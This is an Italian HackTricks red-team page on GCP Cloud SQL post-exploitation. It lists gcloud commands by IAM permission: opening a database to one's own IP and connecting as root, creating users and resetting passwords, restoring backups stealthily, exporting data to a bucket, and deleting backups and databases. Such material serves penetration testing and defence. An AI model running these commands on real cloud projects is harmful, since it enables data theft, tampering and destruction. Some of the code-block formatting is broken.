GCP - Cloud SQL Post Exploitation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloud SQL

Per maggiori informazioni su Cloud SQL consulta:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Per connettersi ai database è necessario soltanto avere accesso alla porta del database e conoscere il username e la password, non ci sono requisiti IAM. Quindi, un modo semplice per ottenere accesso, supponendo che il database abbia un indirizzo IP pubblico, è aggiornare le reti consentite e permettere al proprio indirizzo IP di accedervi.

Consenti il tuo IP e connettiti al database ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

È anche possibile usare **`--no-backup`** per **interrompere i backup** del database.

Essendo questi i requisiti, non sono completamente sicuro a cosa servano le autorizzazioni **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se lo sai, invia una PR!

### `cloudsql.users.list`

Ottieni una **lista di tutti gli utenti** del database:

<details>

<summary>Elenca gli utenti del database</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Questa autorizzazione consente di creare un nuovo utente all’interno del database:

Crea un utente del database ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Questo permesso consente di aggiornare un utente all’interno del database. Ad esempio, potresti cambiarne la password:

Aggiorna la password dell'utente ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

I backup potrebbero contenere informazioni sensibili datate, quindi è interessante verificarli.
Ripristina un backup all’interno di un database:

Ripristina backup del database ```bash gcloud sql backups restore --restore-instance ```

Per farlo in modo più furtivo è consigliato creare una nuova istanza SQL e recuperare i dati lì invece che nei database attualmente in esecuzione.

cloudsql.backupRuns.delete

Questa autorizzazione consente di cancellare backup:

Elimina backup ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Esporta un database in un Cloud Storage Bucket in modo da potervi accedere da lì:

Esporta il database nel bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Importa un database (sovrascrivendo) da un Cloud Storage Bucket:

Importa database dal bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Elimina un database dall’istanza db:

Elimina database ```bash gcloud sql databases delete --instance ```

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks